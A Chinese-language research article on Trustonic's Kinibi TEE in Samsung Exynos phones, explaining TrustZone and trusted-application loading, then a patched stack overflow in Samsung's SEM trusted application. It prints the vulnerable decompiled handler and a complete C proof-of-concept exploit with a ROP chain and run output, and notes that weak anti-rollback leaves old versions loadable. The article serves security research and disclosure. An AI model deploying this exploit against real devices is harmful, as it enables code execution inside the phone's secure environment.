前言
很多Android设备和嵌入式系统都使用TEE(Trusted Execution Environment,可信执行环境)来实现一些安全功能(如硬件密码/密钥、DRM(数字版权保护)、移动支付、生物识别等等)。在ARM平台上,TEE是使用ARM Trustzone技术将其运行环境与标准操作系统(如Linux)隔离开来的小型操作系统。
TEE操作系统比传统的终端应用运行环境(REE,Rich Execution Environment,如Android)简单得多,对逆向工程来说也是一件有趣的事情。这篇文章介绍Trustonic的TEE实现,特别是三星为Exynos芯片组所做的集成。三星最近修补了可信应用(TA, Trusted Application)中的一个漏洞。在简要介绍Trustzone/Kinibi之后,本文详细介绍了该漏洞的利用情况。
TrustZone
在Trustzone体系结构中,TEE运行在安全状态的EL1异常级别。可以在此基础上加载可信的应用程序,并在安全状态的EL0异常级别运行。受信任的应用程序是签名的映像,只有在映像签名正确且来自受信任的开发人员的情况下才能加载。
REE通过执行Secure Monitor调用(在内核模式下使用SMC特权指令)与TEE通信。这些调用由Secure Monitor处理,并中继到TEE内核。
Trustzone允许使用非安全标志(NS, Non-Secure)标记内存,从而将安全区域内存与正常区域隔离开来。在正常情况下运行的代码只能访问标记为NS的内存。
在移动端上有三个主要的TEE实现:
- 基于高通SoC设备的QSEE/QTEE
- 华为的TrustedCore
- Trustonic的Kinibi
有一个开源实现:OP-TEE,这个版本可以在QEMU和一些开发板上运行。
Kinibi
Kinibi是由Trustonic(也称为T-Base或Mobicore)构建的TEE实现,主要用于Mediatek和ExynosSoC。Kinibi由多个组件组成:
- 微内核:MTK
- 运行时管理器:RTM
- 少数内置驱动程序:密码,安全存储等
- 应用程序/驱动程序使用的库:McLib
Kinibi只在Aarch32模式下运行。
微内核运行在安全状态的EL1异常级别。它提供对驱动程序和可信应用的系统调用,并强制任务隔离。Secure Monitor中的一段代码将SMC中断中继到TEE内核,这允许两个区域之间的通信。内核还执行抢占式调度。
运行管理器是Kinibi的主要任务,它管理正常客户端和可信应用之间的会话。当REE客户端打开新会话时,RTM首先检查应用程序是否已经加载。加载过程涉及应用程序二进制的签名检查。还可以对应用程序二进制文件进行加密,因此RTM在加载可信应用之前对其进行解密。
驱动程序在安全状态的EL0异常级别运行,由于它们的二进制文件具有与可信应用完全相同的格式,所以它们使用相同的API加载。驱动程序可以访问比TA更多的系统。这些附加的系统允许驱动程序映射其他任务内存、物理内存、执行SMC调用等。
在三星手机上,这些组件可以很容易地从sboot.bin中提取出来。@kutyacica在EkoParty会议上介绍了提取这些部分的一种很好的方法。他在sboot.bin二进制文件中找到了一个表,其中包含了不同组件的偏移量。自Galaxy S6以来,这个表的格式略有改变,但打开二进制文件仍然很简单。
Trusted Applications(可信应用)
在大多数情况下,可信应用和驱动程序都是签名的二进制文件,但没有加密,可以很容易地进行分析。在三星手机上,这些二进制文件存储在/vendor/app/mcRegistry/和/system/app/mcRegistry/
目录中。
可信应用和驱动程序二进制文件使用的格式是MCLF格式,该格式被记录在trustonic-tee-user-space GitHub项目的头文件中。使用mclf-ida-loader可以在IDA中加载这种格式。
当TA加载时,Kinibi使用MCLF报头来映射TA内存空间中的代码、数据和BSS区域。mcLib库映射到一个固定地址(GalaxyS8/S9上为0x07d00000)。打开会话时,共享缓冲区(称为tci)也会映射到固定地址:0x00100000或0x00300000,这取决于MCLF头中指定的版本。
REE中的TA客户端可以映射新的共享内存区域,这些区域映射在0x00200000 + map_id*0x00100000
。
大多数可信使用tci共享内存作为输入和输出缓冲区,前32位用作命令标识符(cammand id)。通常初始化在入口点(密码初始化、堆栈cookie随机化等)进行,然后调用主函数。main函数检查共享缓冲区大小,然后启动主循环。TA使用tlApiWaitNotification
API等待新消息,并处理共享缓冲区的内容。响应数据被写入共享缓冲区,TA使用tlApiNotify
API通知REE,并等待新消息。
TA exploitation 101
即使TEE系统专门用于安全操作,操作系统也没有ASLR/PIE那样的安全强化,这使得利用可信应用中的漏洞变得非常容易。
三星在G955FXXU2CRED
和G955FXXU3CRGH
(Galaxy S8+)中修补了SEM TA(fffffffff0000000000000000000001b.tlbin
)。
修补程序修复了0x1B命令处理程序中可直接访问的基于堆栈的缓冲区溢出。此外,在这个TA的新版本中启用了堆栈cookie。
/* pseudo code in G955FXXU2CRED */
void __fastcall handle_cmd_id_0x1b(unsigned int *tciBuffer)
{
// [...]
char v64[256]; // [sp+158h] [bp-770h]
char v65[256]; // [sp+258h] [bp-670h]
char v66[200]; // [sp+358h] [bp-570h]
char v67[1024]; // [sp+420h] [bp-4A8h]
char v68[64]; // [sp+820h] [bp-A8h]
char v69[52]; // [sp+860h] [bp-68h]
int v70; // [sp+894h] [bp-34h]
bzero(v66, 0xC8u);
bzero(v64, 0x100u);
bzero(v65, 0x100u);
bzero(v68, 0x40u);
v4 = tciBuffer[2];
v5 = tciBuffer[3];
// memcpy with source and length controlled
memcpy(v66, tciBuffer + 4, tciBuffer[3]);
v6 = v5 + 12;
v7 = *(int *)((char *)tciBuffer + v5 + 16);
if ( tciBuffer[23042] > (unsigned int)(v7 + 208) )
{
snprintf(v67, 0x400, "~%18s:%4d: Input data is over the buffer.", v8, 113);
print("[E]SEM %sn", v67);
return;
}
// [...]
如果没有堆栈cookie,就可以在命令处理程序中直接访问基于堆栈的缓冲区溢出,这应该会使你想起你的第一次开发利用。
可信应用具有read-exec代码页和read-write数据页映射。Kinibi没有类似mprotect的syscall,也不提供syscall和可信应用之间的映射,因此在TA中执行任意代码的唯一方法是对其代码进行ROP。
为了与TEE进行通信,使用了libMcClient.so库。该库提供了加载TA、打开会话、映射内存和通知可信应用的功能。Trustonic给出了使用这个库的头文件:MobiCoreDriverApi.h。在Android上,只有一些特权应用程序和具有特定SElinux上下文的应用程序可以使用TEE驱动程序。
以下是一个简单的漏洞,即ROP打印受控的日志字符串,在三星设备上TEE日志在KMSG中打印。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "MobiCoreDriverApi.h"
#define err(f_, ...) {printf("[33[31;1m!33[0m] "); printf(f_, ##__VA_ARGS__);}
#define ok(f_, ...) {printf("[33[32;1m+33[0m] "); printf(f_, ##__VA_ARGS__);}
#define info(f_, ...) {printf("[33[34;1m-33[0m] "); printf(f_, ##__VA_ARGS__);}
#define warn(f_, ...) {printf("[33[33;1mw33[0m] "); printf(f_, ##__VA_ARGS__);}
int main(int argc, char **argv) {
mcResult_t ret;
mcSessionHandle_t session = {0};
mcBulkMap_t map;
uint32_t stack_size;
char *to_map;
// ROPgadget --binary fffffffff0000000000000000000001b.tlbin
// --rawArch arm --rawMode thumb --offset 0x1000
uint32_t rop_chain[] = {
0x38c2 + 1, // pop {r0, r1, r2, r3, r4, r5, r6, pc}
0x0, // r0 (will be the string to print)
0x0, // r1 (argument, will be set after mcMap)
0x0, // r2 (not used)
0x0, // r3 (not used)
0x0, // r4 (not used)
0x0, // r5 (not used)
0x0, // r6 (not used)
0x25070 + 1 // tlApiPrintf wrapper
};
FILE *f = fopen(
"/data/local/tmp/fffffffff0000000000000000000001b.tlbin",
"rb"
);
if(!f) {
err("Can't open TA %sn",argv[1]);
return 1;
}
fseek(f, 0, SEEK_END);
uint32_t ta_size = ftell(f);
fseek(f, 0, SEEK_SET);
char *ta_mem = malloc(ta_size);
if (fread(ta_mem, ta_size, 1, f) != 1) {
err("Can't read TA");
return 1;
}
uint32_t tciLen = 0x20000; // TA access to fixed offset on this WSM
// so the buffer should be large enough
uint32_t *tci = malloc(tciLen);
ret = mcOpenDevice(MC_DEVICE_ID_DEFAULT);
if(ret != MC_DRV_OK) {
err("Can't mcOpenDevicen");
return 1;
}
to_map = strdup("--> Hello from the trusted application <--n");
ret = mcOpenTrustlet(&session, 0, ta_mem, ta_size,
(uint8_t *)tci, tciLen);
if(ret == MC_DRV_OK) {
// map the string in TA virtual space, the API returns
// the address in the TA space.
ret = mcMap(&session, to_map, 40960, (mcBulkMap_t *)&map);
if (ret != MC_DRV_OK) {
err("Can't map inn");
return 1;
}
ok("Address in TA virtual memory : 0x%xn", map.sVirtualAddr);
// rop_chain[1] is R0, point it to the string in TA
// address space.
rop_chain[1] = map.sVirtualAddr;
stack_size = 0x54c; // fill stack frame
stack_size += 0x20; // popped registers size
// fill tciBuffer
tci[0] = 27; // cmd id
tci[3] = stack_size + sizeof(rop_chain); // memcpy size
memcpy(&tci[4 + stack_size/4], &rop_chain, sizeof(rop_chain));
// notify the TA
mcNotify(&session);
mcWaitNotification(&session, 2000);
mcCloseSession(&session);
}
mcCloseDevice(MC_DEVICE_ID_DEFAULT);
return 0;
}
dreamlte:/ # /data/local/tmp/exploit_sem
[+] Address in TA virtual memory : 0x2005f0
dreamlte:/ # dmesg -c | grep TEE
TEE: b01|[I]SEM [INFO]:Start SEM TA :: Version: 2016.06.15.1
TEE: b01|[E]SEM Wrong CCM version
TEE: b01|[E]SEM Wrong CCM version
TEE: b01|[E]SEM handleCCMDataSWP [ error END]
TEE: b01|--> Hello from the trusted application <--
结论
本文展示了在可信应用中实现任意代码执行有多么容易。SEM应用程序包含其他很多漏洞,但堆栈cookie限制了攻击的实现。
TA中已修补的漏洞在最新的设备上应该是不可利用的,因为TEE提供了一种反回滚机制(anti-rollback)。不幸的是,在合并与安全相关的补丁时,三星并不总是增加版本号。这是SEM TA的情况,这意味着旧版本仍然可以加载和利用。在许多三星设备上,反回滚机制似乎根本不起作用(就像在S8上那样)。
在可信应用中获得代码执行大大增加了攻击面,因为攻击者可以与安全驱动程序和TEE内核系统交互。